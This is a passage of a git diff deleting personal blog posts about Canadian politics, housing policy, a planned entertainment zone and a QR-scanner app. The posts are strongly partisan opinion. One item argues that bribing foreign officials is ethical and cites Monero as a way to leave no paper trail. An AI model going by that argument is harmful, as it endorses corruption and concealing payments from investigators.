a joke. It doesn't work, and when it does, it just breaks again. I was unable to click continue to checkout after entering my card details in, so I ended up on Virgin Mobile's page and we all know how that went. I also found out that Fido's plan might not even include 5G servicing. - -Subsidiary of Rogers - -### Rogers / Telus / Bell - -The - -## For Families - -I pay for my phone phone plan, so this doesn't count diff --git a/content/posts/best-qr-code-scanner-android.md b/content/posts/best-qr-code-scanner-android.md deleted file mode 100644 index 40f3d9cf3..000000000 --- a/content/posts/best-qr-code-scanner-android.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Best QR Code Scanner for Android" -date: 2023-07-29T13:19:50-04:00 -draft: false -hidden: true -tags: - - mobile - - tech -summary: "'QR Code & Barcode Scanner' by QR Easy is best QR code scanner for Android. Its key advantages are fast startup, rapid scanning, and automatic link opening (a setting which may need adjustment)." ---- - -Thank goodness as of Pixel 7 or whatever, Android users don't need to install QR code apps and can just use the camera app. - -[QR Code& Barcode Scanner by QR Easy](https://play.google.com/store/apps/details?id=com.camvision.qrcode.barcode.reader) - -- Fastest startup -- Fastest scanning -- Opens links automatically after scanning (might need to change that setting) diff --git a/content/posts/canada-entertainment-zone.md b/content/posts/canada-entertainment-zone.md deleted file mode 100644 index 1e9cad4b9..000000000 --- a/content/posts/canada-entertainment-zone.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: "New Brunswick Entertainment Zone" -date: 2022-12-13T21:16:04-05:00 -draft: false -hidden: true -tags: - - canada - - opinion -summary: "My vision for a Canadian entertainment zone in an affordable area which would be accessible to median-income households. New Brunswick is a prime province for this endeavor. The zone would offer diverse activities: vehicle experiences (helicopter, boats), sports (swimming, tennis), leisure (pool, jacuzzi, dining), community facilities, adult-only areas (bar, club, shooting range), and robust transportation (train, light rail, landing strip), focusing on automation and efficient logistics." ---- - -One of my visions is to develop an entertainment zone in one of cheapest areas of Canada which isn't covered in snow for a lot of time. -It should be affordable by people making the median household income. So at least 50% of Canadians should be able to afford a stay. - -## Possible Locations - -- [Edgar Lane Extension, NB](https://www.point2homes.com/CA/Vacant-Land-For-Sale/NB/St-George/Edgar-Lane-Extension/108364651.html) -- [Pretzer Land, SK](https://www.point2homes.com/CA/Vacant-Land-For-Sale/SK/RM-of-Hudson-Bay-No-394/Pretzer-Land/131043415.html) -- [Heartherington Land, SK](https://www.point2homes.com/CA/Vacant-Land-For-Sale/SK/RM-of-Tramping-Lake-No-380/Heatherington-Land/121896667.html) -- [Maxwell, NB](https://www.realtor.ca/real-estate/24097209/408-540-route-maxwell) - -## Goals - -The goal of the zone is to provide at least a weeks worth of activities and not for walking around. - -### Vehicles - -- helicopter -- speed boats -- jet skis -- tube on a boat - -### Sports - -- lane swimming -- rope/jungle course -- water slide -- beach -- beach volleyball -- tennis courts -- basketball courts -- fishing -- race track -- zip-lining - -### Leisure - -- swimming pool -- jacuzzi -- lounge to work on anything (single and groups) -- coffee shops -- breakfast restaurant (my favourite meal) - - scrambled eggs with bacon and hash-browns - - an exquisite smoothie equal or better tasting than blueberries + bananas - - waffles - - pancakes -- foot massage -- children's McDonald's park and ball-pit - -### Community - -- community center for hosting events -- public gender guided bathrooms with two private showers for each -- camping grounds - -### Adult Only (19+) - -- body massage -- guess we also need a bar for the alcoholics -- one club with dance music not limited to what's trending -- brothel off the island -- shopping mall -- gun shooting range -- hunting on mainland - -### Transportation - -- train for getting to the location -- light rail for intra-transportation -- landing strip for planes - -## Logistics - -There should be enough people that lines are either very short or for every long line there is an open activity - -- automate as much as possible -- public bathrooms similar to Fort Lauderdale Airport washrooms but with showers and self cleaning and supplies diff --git a/content/posts/canada-is-worse-becuase-of-justin-trudeau.md b/content/posts/canada-is-worse-becuase-of-justin-trudeau.md deleted file mode 100644 index 84bc6caa0..000000000 --- a/content/posts/canada-is-worse-becuase-of-justin-trudeau.md +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: "Canada is Worse because of Justin Trudeau" -date: 2024-02-23T21:59:01-05:00 -tags: - - canada - - opinion - - politics -summary: "A critique arguing Canada has worsened under Justin Trudeau's leadership, detailing controversies like SNC-Lavalin, WE Charity, and ArriveCAN, and criticizing policies on housing, immigration, taxes, and criminal justice." ---- - -These days, chronically online Canadians are absolutely wild. They complain about bills that they didn't even read. - -{{< toc >}} - -### Why Trudeau was Elected - -Canadian governments were not squeaky clean. While researching, the information I've come across point that both Liberals and Conservatives were not clean. Obviously, it was time for Harper to go. - -### SNC-Lavalin Affair - -> The Liberal government was broadsided by allegations that officials in the Prime Minister’s Office, after repeated lobbying by SNC-Lavalin, tried to convince former attorney general Jody Wilson-Raybould to strike a mediation deal instead of pursuing fraud and corruption charges against the Quebec-based engineering giant - -This is corporate cronyism from a party and its supporters who claim that the Conservatives do the bidding of Canadian corporations. Fun fact, telecom executives hated Steven Harper since he wanted to bring in Verizon from the US to compete with Canadian telecommunication companies. Harper lost votes for not following in line with the Canadian telecommunication companies. - -Premier Smith of Alberta did a similar thing by the way recently regarding a case where the defendant was blockading the border and being mischievous in general. Ethical commissioner deemed in incorrect. - -### Indigenous Issues - -These mass graves were not actually mass graves yet the federal government created a whole federal holiday from it; reactionary virtue. It solved zero indigenous problems. There's land disputes right now in BC where indigenous people are losing land they claim is theres to a pipeline company. If the federal government wants to claim it's actually doing good for the indigenous people, then focus on issuing a statement so that there will be peace in that region instead of one side claiming that they are right and the other side which the court sides with. - -### COVID-19 - -COVID-19 is when Trudeau could not be redeemed. First of all, there were so many restrictions. Doug Ford is not conservative either, and I'm glad I never voted for him. He is no different than the federal Liberals. So what are the problems with COVID-19? - -1. CERB: the government mandated lockdowns and then gave everyone free money. Of course this caused inflation -2. Government Overreach: Border Entry Restrictions - - Imagine forcing Canadians to get tested just to re-enter the country. Otherwise pay $6,000 to enter the country. Oh and then there's random testing requirements as well. The only reason my family got through the border was because all of us were forced to get tested...Let's see here Canada, allow people who tested positive for COVID-19 in and make them mandatory, but if someone doesn't have a test, assume they have something worse than being COVID-positive. It's ridiculous. The policy should've been: get tested negative to not have to quarantine, or else you are assumed to have covid and then you should quarantine. We had to do the COVID testing on a live video call. It was a waste of resources and front-line workers' time. - -### WE Charity Scandal - -> awarding of a federal contract to WE Charity to administer the $912 million Canada Student Service Grant program (CSSG) - -You read that right. The federal government allows citizens to deduct charity donations yet gives money to charities that pay the family members of the prime minister. Absolutely disgusting. During COVID, the government should be taking over investment that the private industry would not be doing. We could've had such a big jump on the housing shortage, but nope, almost a billion dollars was apparently available for the Canada Student Service Grant program (CSSG) during one of the worst budget deficits ($327.7B) in this country's history. - -And you know what the program was for? Paying volunteers. That's right, instead of sustainable jobs being created during a time of high unemployment, it's better to just pay people to volunteer (service-based). - -> participants will only be able to count hours accumulated from June 25 to October 31, 2020. -> Having students conduct WE Charity work at a reduced wage in the form of volunteerism which was previously conducted by paid employees - -This was a horrible program as you had to register by August 21, but could only count for a selected few months anyways. - -The prime minister said that only WE Charity could administer this program, but... - -> Other organizations, such as the Public Service Alliance of Canada and YMCA Canada, expressed skepticism at the claim that WE Charity was the only organization in Canada capable of administering the contract. - -- [WE lobbied government 43 times in months leading up to cancellation of $543 million volunteer grant program deal](https://nationalpost.com/news/politics/we-lobbied-government-43-times-in-months-leading-up-to-cancellation-of-543-million-volunteer-grant-program-deal) -- [WE Charity revised proposal to administer student grant, MPs told](https://www.ipolitics.ca/news/we-charity-revised-proposal-to-administer-student-grant-mps-told) - -### ArriveCAN - -It was $60M for a an app that didn't let me into the country and enjoy my full rights anyways (2022). Today though, ArriveCAN is a great app now that COVID-19 is over. Advance Declaration can be used for express border entry. I guess $60M for express border entry is not the worst thing that has happened. This issue wasn't about the money though, it's about the ethics behind procurement (non-competitive bidding which was justified by calling COVID-19 a threat to national security). - -Where is the accountability? The non-technical firm of two people, [GC Strategies](https://www.cbc.ca/news/politics/gc-strategies-arrivecan-1.7120381) got a quarter of a billion dollars since the Liberals came into power. The company would keep 15-30% as a commission to subcontract the awards it would get. How is a system so poor that a contractor can take a higher commission than what Apple and Google take from their respective mobile app stores? - -### Housing (and Immigration) - -Last but not least, housing and immigration. - -1. Housing to income ratios are the highest they've been. Canada with a population of 40 million has an index 148.16, followed by Germany at 140.6, where most people rent and the population is 83.2 million. We have more land! -2. Record international students that were not vetted and were sold a lie. The company funneling this, ApplyBoard, unfortunately has University of Waterloo founders. -3. Immigration itself is out of control. Canada needs 200,000 per year to make up for the low birth rate, but what Canada does not need is a skewed gender ratio and neither does it need 471,550 immigrants excluding students. The net migration was over a million people (add non-permanent residents)... -4. Housing shortage in Canada is due to NIMBYism. NIMBYs want to prevent urban sprawl but at the same time do not want houses to be denser. This, combined with a growing population causes a housing shortage. The solutions are simple, reduce immigration, reduce inflation (and thus interest rates), create new cities, allow both urban sprawl and density (both solutions are better than one), and lastly, increase the efficiency of the LTBs so that more people are open to land lording and not just corporations. - -### Luxury Tax - -Apparently, paying a percentage in taxes on items your purchase is not enough. With HST of 13%, a $100 item has a tax of $13, and a $100,000 item has a tax of $13,000. But that isn't enough for the government. Not only is it not enough, the good being purchased can [affect the rate too](https://www.canada.ca/en/revenue-agency/services/forms-publications/publications/ltn2/subject-vehicles-under-select-luxury-items-tax-act.html). - -So if rich people want to bid up the price of investment properties past a million dollars, that's fine. Only above $3,000,000 is it a problem. But if you, a middle class, person, purchase a modest home, save money your entire life want to purchase a corvette while your going through your midlife crisis, nope please pay an extra 20% on the amount over 100,000. - -For boats, it's above $250,000! This is insane. So I get punished for having just a car, but the person who splurges on both cars and a boat, gets away with it. This is ridiculous, and this tax is too. - -> Why tax vehicles but not Richard Milles or other luxury watches? Why not all jewelry? Or cottages? Or art? - -We wonder why real GDP per capita is rarely growing, and it's because the government thinks that the economy can improve even when taxes are known to reduce demand. - -[PBO Commentary](https://distribution-a617274656661637473.pbo-dpb.ca/03ffbeef04658a0828c035bec9ef4b2e7a4de065014f64918bc50a6afca3b043) - -He added the luxury tax and made it very opinionated. Any motor vehicle worth over $100,000+ even if its electric like the Porsche Taycan or Tesla Model S. You are forced to buy a Model 3, Y, X if you want a family electric car that is good. Aircrafts also over $100,000. Vessels though? That's right, only over $250,000, because someone who can afford a family car and a $200,000 boat is actually less rich than the person who just wants a Lexus LC 500, Corvette C8, Porsche Taycan, Porsche Panamera, Porsche 911. Rich people who own houses worth over $1,000,000? Not only do you not pay a luxury tax on homes priced above $2,000,000, you also don't pay capital gains tax if your house appreciated by $1,000,000. Even a secondary home is not taxed, because owning cottages is more middle class than buying those luxury cars I listed. - -### Small Business Loan "Forgiveness" - -- During COVID, the Trudeau administration allowed businesses to take a $50,000 loan and if they repaid $30,000 "early," $20,000 will be forgiven - -There were 1,190,000 small businesses in Canada. So that's 23,800,000,000 in FREE MONEY WITHOUT AN INCREASE IN PRODUCTION. - -In other words, this devalues the currency, and as of 2024, it is clear the Trudeau administration messed up as the CAD is losing against the USD now that interest rates are being cut. If fiscal policy was managed better, then the FX rate would've been much stronger in 2022 during the interest rate hikes. - -Canada is in a recession in 2025. Our currency rate is worse than the crash in March 2020. This is horrible. - -### Inefficient Government - -It took the NRC 11 weeks to send a laptop to a software developer intern. - -### Packing the Senate - -Trudeau has stacked the senate with so called independent senators who so happen to be the same block of senators who supported an amendment to Bill C-234 that would result in farming machinery not being exempt from the carbon fuel charges even though affordable alternatives are years away. This was during a period of high inflation. [I wrote a reddit post about it here](https://www.reddit.com/r/CanadianConservative/comments/1j0l355/a_reminder_that_liberals_and_their_independent/) - -### Giving Criminals an Easier Time - -Bill C-5: Repealed mandatory minimum penalties for some offenses including firearm possession - -Bill C-75: A criminal who is indigenous may have an easier time obtaining bail - -Even with Bill-C48, a man was allowed to commit the same crime a second time in the same day! [Source](https://globalnews.ca/news/10688195/bc-catch-release-system-questioned-man-hits-restaurant-twice/) - -> Bill C-75 requires police to “release an accused person at the earliest possible opportunity after considering certain factors which include the likelihood the accused will attend court, the imminence of the risk posed to public safety, and the impact on confidence in the criminal justice system,” the organization [Victoria police] posted on X. - -Furthermore, - -> "[Bill C-75] established a principle of restraint which favoured release on bail at the quote 'earliest reasonable opportunity on the least onerous conditions,'" -> She said this "catch and release default" from Bill C-75 led to a "pendulum switch too far" in the provinces. - -[Source from CBC](https://www.cbc.ca/news/canada/saskatchewan/new-bail-reform-law-wont-make-communities-safer-experts-1.7077332) - -Bill C-48 was brought in to "fix" these issues. However, the conservatives claim this is too weak and have used the murder of Tori Dunn by Adam Troy Mann as an example. - -> The 40-year-old was homeless and living in a tent in the bush in Chilliwack after being released on bail pending the outcome of two robbery charges. -> The Crown wanted Mann sent to jail for 45 days, a position the judge said was "not unreasonable, but perhaps a bit harsh considering what occurred here and the expression of remorse." - -[Source from CBC](https://www.cbc.ca/news/canada/british-columbia/murder-home-invasion-bail-1.7265125) - -Basically Bill C-48 isn't strong enough because it allows activist judges from controlling weather criminals who break probation and have a history of violent crime can be let go. - -> He opted instead for a 21-day sentence — which left only 10 days for Mann to serve after accounting for time already spent in jail following his arrest. - -So on June 5th, the judge reduces the jail time from 45 days to 21-days, which means Mann is free on June 15th, and kills Dunn on the 16th. It's a clear case that a longer jail time was reasonable. I'd argue this judge needs to lose their job over such an egregious mistake. The conservatives and many people are arguing that violent offenders should not be granted bail at all. - -[Premiers send letter to feds demanding bail reform after homicide](https://www.cbc.ca/news/canada/british-columbia/premier-letter-bail-reform-tori-dunn-1.7271818?__vfz=medium%3Dsharebar) - -> In particular, the provincial and territorial leaders want the federal government to look at bail reform Bill C-48 passed earlier this year. -> B.C. Premier David Eby says he wants Ottawa to examine gaps in the bail reform bill passed earlier this year. (Ethan Cairns/CBC) - -It's very clear that under Trudeau not enough is being done about violent offenders and because of a publication ban, we don't even know why the judge granted bail, nor who the judge that granted bail is. It's very sad that a first world country can't get their shit together on REPEAT offenses. This isn't about crime prevention, it's about doing the bare minimum to protect innocent people. - -### 18 More Reasons - -1. Lied about ending first past the post. Even when exploring alternatives, his party and followers were apprehensive about ranked voting, which is not good for proportional representation at a national view. Ranked is good for mayoral elections. -2. Not only did he not keep his promise for affordable housing for Canadians, rent become parabolic. https://liberal.ca/trudeau-promises-affordable-housing-for-canadians/ https://www03.cmhc-schl.gc.ca/hmip-pimh/en/TableMapChart/Table?TableId=2.2.11&GeographyId=2270&GeographyTypeId=3&DisplayAs=Table&GeograghyName=Toronto -3. Didn’t stop Doug Ford from allowing colleges to ask for so many international student visas. -4. Bill C-21, which demonized sports shooters. The NDP was only against this because it affected indigenous people, not because it affected non-indigenous Canadians. -5. He enacted authoritative border policies during the pandemic where Canadians were forced to get results of a COVID test just to enter the country, or pay a fine, or get mandatory testing anyways. If you tested positive, you would still be let into the country but have to quarantine, but if you didn’t get tested, you would have to pay $6,000 instead of just being forced to quarantine. It was one of the most irrational policies I’ve ever been subjected to in this country. The only reason we had to leave the country was because a family friend was mourning the death of her husband. -6. He keeps lying about the carbon tax omitting that it has an economic impact. Instead of using the carbon tax to actually reverse emissions, the money is given back even though the economic impact is worse for most. Additionally, there’s a $1B slush fund but there were conflicting of interest issues. There’s no priority to make Canada the number one nation in carbon capture technology. We already have a carbon tax, so investing it into carbon capture technology is a no brainer. If I was the prime minister, I’d be building so many of these carbon capture plants in cities in Canada that lack jobs. The average GDP per capita in Canada is not found everywhere in Canada. There are many small towns with a sense of abandonment and a lack of blue collar jobs. It’s just filled with one Tim Hortons, an ice cream parlour, and some small houses. Lots of wild life, but a severe lack of housing so only a limited number of people can enjoy it. The government should actively force governments to deregulate zoning in exchange for building these carbon capture plants that will bring in sustainable jobs. Furthermore, the government can inform its citizens how to properly measure how much emissions they are responsible for and allowing us to pay money to these carbon capture crown corporations in exchange for a tax credit deduction similar to charities and political donations. -7. He keeps pushing for bills such as the online harms bill that result in more bureaucracy to regulate the Internet for speech that is already illegal. In Canada hate speech is already illegal, that Chilliwack woman was arrested by the RCMP! The bill is expected to cost us $200M when we don’t even have a balanced primary budget (the budget excluding interest payments). We also spend $30B annually for non-recurring indigenous reparations. Immigrants who didn’t colonize nor oppress Indigenous are paying taxes to correct mistakes made by the ancestors of wealthy Canadians who have been in the country for hundreds of years. -8. He uses terminology such as people kind to intentionally divide and rattle people up. He could have used humankind. Regardless “mankind” is not sexist. -9. Allows the LMIA system to go wild without clampdowns -10. Let 10,000 H1Bs come into Canada and essentially steal away jobs from Computer Science graduates from the University of Waterloo who paid $80,000+ across 5 years only to end up unemployed or getting a job that pays 80,000 in 2024. In 2019, before joining university my new grad income goal was 100,000 in 2019. That’s 118,321 in 2024 terms. Although I am outdoing my goals, my friend is not only just below this, he is also paying 1900 in rent for a studio. According to CMHC, rent for a bachelor across Canada is “1414” and in 2019 it was “1142.” So essentially, he is paying 1900 instead of 1347 (inflation adjusted rent), which is a loss of $6636. So the adjusted income software engineers from UW should be making is $125,000. The only reason I exceeded my income goals is because I’m ambitious and used niche technology. We shouldn’t all have to be Leetcode gods just to make a living for our skillsets (i.e. working for a high frequency trading firm). Also not all of us with the same skill level will get job/internships at mid market cap firms or big tech. Furthermore, the barriers to starting a company are insane. Not only do I have to deal with my parents’ expectations of working a normal job, there’s barely any way to pay rent if I want to go against my parents’ wishes. Ideally, accelerators should give you a grant equal to 1.5 years worth of living expenses. This translates to at most $41400 in today’s terms, but if rent was at 2015’s levels (937 or 1200 in 2024), then the grant would only need to be at most $27,000. The minimum a grant should be is for 1 years worth of leg room or $26,400 in 2024 and $18,000 if rent was $1200/mo. -11. During the pandemic the Liberal government issued many bonds to the central bank and instead of investing in jobs to pay people to produce goods and services and wealth, it was just issued to people who claimed to have been impacted. This is why I believe that the government should only expand in times of distress and recessions, as unemployment is two-fold. One is from the mismatch ratio of businesses to humans, which causes a labour surplus, and the other is due to a matching issues where businesses are looking for people with certain skills and are unable to find them and people with certain skills are available but no jobs exist for them. When the government hires, they are bound to the charter of rights and freedoms and are to set an example of what it means to be a good employer. What this means is that even if the private industry only hires experienced workers, the government who sets the minimum wage must be the employer of last resort which forces businesses to compete for these now experienced workers via a higher wage. -12. SNC-Lavellin Scandal https://www.cbc.ca/news/politics/trudeau-wilson-raybould-attorney-general-snc-lavalin-1.5014271 . This company (now known as AtkinsRéalis) had lobbied the government to introduce deferred prosecution agreement, which allows for financial penalties in lieu of criminal conviction, however the prosecutor must not weigh economic impacts of a conviction when pursuing charges. Trudeau was directly involved in pressuring the attorney general, Jody Wilson-Raybould to secure a deferred prosecution agreement. In my humble opinion, bribing foreign nations, especially developing countries, should not be illegal, especially if its towards the existing government. Why should Canada be concerned whether leaders of foreign states are accepting bribes? That's on their constituents. It's either to bribe, or to lose business because some other companies bribe. It's no different than charging royalties and using windfall taxes. It's a cost of doing business. https://www.cbc.ca/news/opinion/libya-snc-1.5014939 . There is no ethical qualms about bribing someone. There is 100% moral qualms about accepting bribes. Ethically speaking, bribing someone is a tax. The person is forcing you to pay a bribe to get something done. What is funny is that lobbying is no different. The Liberals did include the DPA because SNC lobbied the Liberals. The government is a hypocrite for allowing lobbying, safe name for bribing, but not for paying a non-standard tax in a foreign nation. Honestly speaking, any body who accepts donations from corporations and actually does what they are lobbying for is corrupt. SNC isn't the problem, Gadaffi is. From a Libyan perspective, they are simply taxing a foreign state. It would actually be embezzlement if Gaddafi was taking that "bribe" for himself and not the states chest. Still these are issues of developing countries. The only way to defend a stance of disallowing foreign bribing is if there was also a condition that any foreign political actor who forces a Canadian corporation to be bribe will automatically be internationally charged. That is how you do things. It does not matter though, because with Monero, there will be no financial paper trail that a bribe even occurred. Trust is something that is enforced on onesself, not on others. -13. Vacationing at his billionaire friends' islands because billionaires maintain friends with people who tax the rich right? It's clear that his policies harm the middle class who want to experience a luxurious life style, and limit access to this luxury to people who are 10x richer who can easily afford these goods. That's why the tax is high enough for the middle class to be dissuaded from purchasing these goods, but not high enough that individuals with a net worth over $100M question the purchase. If the government wants to impose a luxury tax, then make it applicable to cars that aren't bought by the middle class. And make it 100% instead of the rate it currently is. -14. Cost of living is insane, nationally. Blame Russia or claim its ubiquitous worldwide, however nothing is being done to alleviate the pain by investing in industries which are the blockers. -15. WE charity scandal -16. Avoiding answering questions and instead repeating the same generic lines. just watch him in Parliament. -17. Tried to force Meta and Google to pay for simply sharing news links. If you share a news link through Meta's app, the other user cannot even click on it because Meta will block showing it. Our regulations are so ridiculous that companies just do a full no no. This is what happened with AI with Meta not releasing their models in the EU, even though this is all digital. -18. $1B green slush fund scandal. [CBC](https://www.cbc.ca/news/politics/sustainable-development-technologies-canada-champagne-1.6985847), [Business Calgary](https://businessincalgary.com/regular-contributors/more-hush-than-trust/) - -### Demeanor - -I moved this reason last because it can explain why not everyone voted for JT. - -Justin Trudeau is very inauthentic when he speaks. It is always speaking down and never speaking at the same level as us. Want proof? In a town hall, a woman who asked a genuine question about mental health services for English speakers got an answer in French...The rationale was because they were in Quebec and most people were French speakers. A town hall is a chance for citizens to get answers to their number one question for the prime minister. - -{{< youtube 8cpc6JtENOE >}} - -January 18th, 2017 - -[All questions were answered in French](https://www.cbc.ca/news/canada/montreal/trudeau-town-hall-sherbrooke-quebec-public-questions-1.3940058) diff --git a/content/posts/canada-parliamentary-reform.md b/content/posts/canada-parliamentary-reform.md deleted file mode 100644 index 1a17d0d41..000000000 --- a/content/posts/canada-parliamentary-reform.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: "Canada Parliamentary Reform" -date: 2024-03-04T22:07:35-05:00 -draft: false -tags: - - canada - - opinion -summary: "Argues for Canadian parliamentary reform, proposing Supreme Court rulings be appealable to a citizen group and the Senate be abolished, citing concerns about judicial bias and unaccountability." ---- - -In 1927, the Supreme Court of Canada ruled, unanimously, in the Persons Case that women were not eligible to be senators. Since this was during the time that Canada was still under British rule, an appeal was allowed and the Judicial Committee of the Privy Council allowed women to become senators. - -What does that mean? That means that courts are not likely to be filled with unbiased individuals. If all the justices can deem women ineligible to be a senator, then our laws will always be begrudged to the societal views held by judges in the past. - -I propose two things. Supreme court rulings should always be able to be appealed resulting in a group of people from the age of 16 to the age of 70 deciding the final verdict. The group of people would have to be 10, with half guaranteed to be under half the age of life expectancy. The life expectancy will be a hard coded age in the constitution meaning that every time the age is too low, everyone in Canada has to agree that the age is too low. - -The second thing is that we need to do away with the senate. It's a waste of time and only exists because of a broken electoral system. Voters did not vote for senators and there's too many of them to hold a single one accountable. If the PM gets to pick the supreme court, why do they get to pick the senators as well?! diff --git a/content/posts/canada.md b/content/posts/canada.md deleted file mode 100644 index a431496d9..000000000 --- a/content/posts/canada.md +++ /dev/null @@ -1,393 +0,0 @@ ---- -title: "My Thoughts on Canada" -date: 2022-05-21T01:18:18-04:00 -tags: - - canada - - finance - - opinion - - politics -hidden: true -summary: "A comprehensive look at Canada: tackling housing affordability with demand/supply policies; envisioning an ideal life (housing, income); redefining government's role in innovation, taxes, defense, and social programs; and outlining a personal political platform for reform." ---- - -This article will be the one stop shop for my thoughts on Canada. -Please refer to the table of contents to read sections that are interesting to you. - -{{< toc >}} - -## Housing Affordability - -Let us start off with one of the biggest issues facing Canadians under the age of 40. -The best way to deal with housing affordability is to make homes affordable for those that don't own a home. This means reducing the demand from non-primary home buyers and increasing housing supply. - -Domestic speculation is a problem in Canada. Temporarily banning foreign buyers or taxing vacancy is not going to bring affordability. It doesn't go far enough. You have to ban foreign ownership itself. -Why do we even let foreign buyers purchase residential homes in the first place? That itself should be taxable. Call it a foreign ownership tax. - -As a Canadian citizen, I would expect to not be able to purchase a US home, unless I have a green card or was a dual citizen, even if I have work permit. That is not the case, but that's because the US economy is 10x Canada's. Likewise, foreigners who **cannot** reside in Canada, should not be able to buy properties in Canada. - -I do not think housing should be something where land lords can live off the rent they make. That is absurd, and thus companies should not be allowed to buy residential properties either. If companies own residential properties, it should be because of reasons like developing the property itself. - -As for undeveloped land, we could say that development of the land has to be started within a year of purchase, otherwise both the previous and the current owner get fined. However, I don't think there is a problem yet with undeveloped land, so let's keep this up our sleeve. - -### Reducing Demand - Major Speculation Tax - -To reduce demand, we will add a buyers (speculation) tax on non-primary home purchases for homes transactions that are more than $150,000. There's no reason to own more homes than people in your immediate family. For clarification on the definition of an immediate family, a couple for each kid over 18 can buy one additional home without this tax (to a max of 4 = 2 biological children + 2 adopted children). This policy can be tweaked a bit so for example, the total budget for non-primary houses can be $500,000 instead of $150,000 which might allow allow people to allocate it towards a condo rather than a cottage. The condo could be rented out to short-term residents. If the budget is too low, there might be no land lords which would force short-term tenants to either get a loan guarantor or live in a basement. - -I propose this speculation tax to start at 50% and to modify it the next year. If it's too low, we'll make it 100%. If prices dramatically fall, we will get hated by property owners but at least the U40 population will vote for us again. If even a 100% tax is too low, we can further reduce the 150k threshold so that most couples would have to use their secondary home allowance itself as the other tax-free property. For example a secondary property could be a storage area, a cottage, or a simple office. - -Existing home owners with more homes than people in their immediate family have 6 months to pay the buyers tax on their (# homes - # family members) most expensive homes. So even if a couples primary residence is the most expensive, they have to pay the buyers tax on it and not their cheaper investment properties. The problem in Canada isn't just foreign spending, it's domestic speculation. We need to tackle our own greed. - -With this buyers tax, one could argue that a couple itself is treated as one in the eyes of the law, and therefore they should be given one less home to own, but I think that would mess with something other than housing prices. - -I'm up for debate on whether to include properties that were inherited. - -This buyers tax should be implemented federally. People who are buying homes in multiple provinces are definitely upper middle class or rich. Therefore, a 50% or even 100% tax is not a problem if they are buying to live rather than to rent. Imagine a multi millionaire; that 500k property now costs 1M, so it's not a problem. - -Lastly, governments should play around trying to reduce rent-seeking behavior without short-term tenants being unable to live because there are no land lords. For example, to accommodate the demand of students, a [supply side policy could be enacted to incenticize efficient land use 2km around universities](#increasing-supply---land-value-tax) combined with a tax exclusion on properties near the university if the parent has a student that goes to the university. This would allow parents to buy a property of 5 units and rent out 4 of them to students who's parents cannot afford to buy a property around the university. Universities or provincial governments would provide a guide for parents of student ineligible for the provincial university grants; So if there are 50,000 students and only 10% have parents who can afford to buy a secondary property, then 40,000 students are basically taken care of. Although I hope that parents wouldn't partake in price gouging of peers of their children, this tax exclusion can be taken away if something like that starts occurring. - -### Reducing Demand - Corporations Ban - -Corporations should not be allowed to own houses they did not develop themselves. Policy should incentivize denser housing supply and a corporation land lord is just the worst. Corporations that manage properties for client land lords would still be allowed to exist. - -### Increasing Supply - Vacant Homes - -I was watching a video on a $20M abandoned mansion in Toronto. I searched more up. There are many vacant or abandend properties in Toronto. -This neeeds to stop. The governments on all levels need to enact a law that would force current property owners and banks to either find a tenant -within 6 months, or be forced to auction the property off through a government website with no reservation price. This would end up housing -60,000 groups of people in Toronto alone and probably. A vacanacy tax is only an incentive to sell, but does not actually -solve housing. Nationally, we can conservatively estimate there to be $100,000. The purchasing agreement would be -1 month to change the primary residences, find a tenant, or to create renovation plan with details. -With thed demand constrained, it'll mostly be a primary residence thing rather than finding tenant. -To prevent renovation abuse, we should enact a fine on the renovation filer 2 years later. -This also prevents owners from abusing the renovation clause in order to flip the house. - -### Increasing Supply - Undeveloped Land - -Currently, one of the issues preventing houses from being built is zoning laws. This is hearsay as I have not encountered actual proof/rationale to -why zoning laws contribute to expensive housing when land itself is expensive! If the previous policy does not work, -then I propose a wild idea. Land earmarked for development needs to be sold within a year or start building a house within a year or two. -Fines will be issued (percentage of last listing price) if land is sold a second time within a year or two, or if a milestone was not reached -with 6 months buffer period (accounting for Winter). This would be a policy with an intent to be temporary, however if affordability doesn't improve in 4 years, it would end up being permanent. By affordability, I mean prices would have to drop to reasonable levels before even factoring inflation and wage increases. - -Land in small towns is cheap but requires building a house. Why would anyone build a house in a small town if salaries are surely going to be lower in those -places? Only a WFH policy would help you out. Therefore, these places help couples with money who aren't struggling in the housing market (therefore no dent -in demand). To actually dent demand in high demand areas, we need to spur small businesses in small towns. That's a demand side policy to reduce -demand in places like the GTA. - -### Increasing Supply - Prioritized Development - -In the case reducing demand isn't enough, the affordability problem is clearly supply sided. My proposal is that we use the tax revenue from the speculation tax to fund housing developments. The government should not spend this money. We should issue loans at an interest rate equal to the rate banks offer. We can either create a new department would handle this stuff or if there is a lot of money, loan the money to credit unions directly and let them issue the loans for us. - -The procedure for giving out loans is as follows. Start with neglected and cheaper provinces. The residents of these provinces have the least purchasing power and therefore are more vulnerable to housing affordability. New Brunswick for one. The territories have their own problem like Nunavut needing $100M for their water plant but I didn't get a chance to look at their budget to figure out if they just want a handout or are being serious. We want to fund housing developments in three provinces concurrently. These provinces are picked by a median income ascending. Again, territories are something else, so we need a different strategy for them. - -In the long term, we should focus on more than fixing housing prices, but distributing them equally across Canada which includes distributing job opportunity and incomes a cross the board. - -### Increasing Supply - Land Value Tax - -Oh yeah forgot to add this section. Essentially, it should be more expensive to own vacant land than an apartment building and property taxes from apartments should be much less than single family houses. -This is because empty land is less efficient usage than a single family home which is less efficient land usage than an apartment building. This policy can only be done on the provincial level because -it should be presumed that municipal residents (property owners) will vote in their own self-interests rather than taking into consideration those who do not own properties or who cannot afford suburbia. - -## The Ideal Canadian Life - -Now we can move on to idealism rather than current issues. - -What is the ideal Canadian life? I want to answer this question. It's very easy to fall prey to the unlimited wants nature, so we'll have to answer what would make a Canadian content without bias? - -The age at which this idealism should be achieved for Canadians is 30 years old. -I believe by 30 people would start a family. I also know that by 30, -we start to visually age. So at 30, we want to be living our ideal life. - -### Living Situation - -Ideally in the future, I'll have 4 children: 2 biological + 2 adopted. Therefore, an ideal _house_ will have 4 or 5 bedrooms. I think there should also be 3.5 bathrooms. - -One should plan out the general location where they want to build a family right after marriage[^marriage] because then you won't be locked into a location because of work, family, or friends. I'm pretty sure this is one of the biggest factors preventing people from moving to affordable locations. The other factors are activities which we'll get to now. Personally, I do not have an ideal place in mind, just not in the suburbs. If you want nightlife, you'll have to lower your bedroom and washroom numbers. - -[^marriage]: By marriage I mean the unification of partners in a relationship rather than the legal status - -### Activities - -For this, I'll have to think from other peoples' shoes. We have two ways to go for this. We can 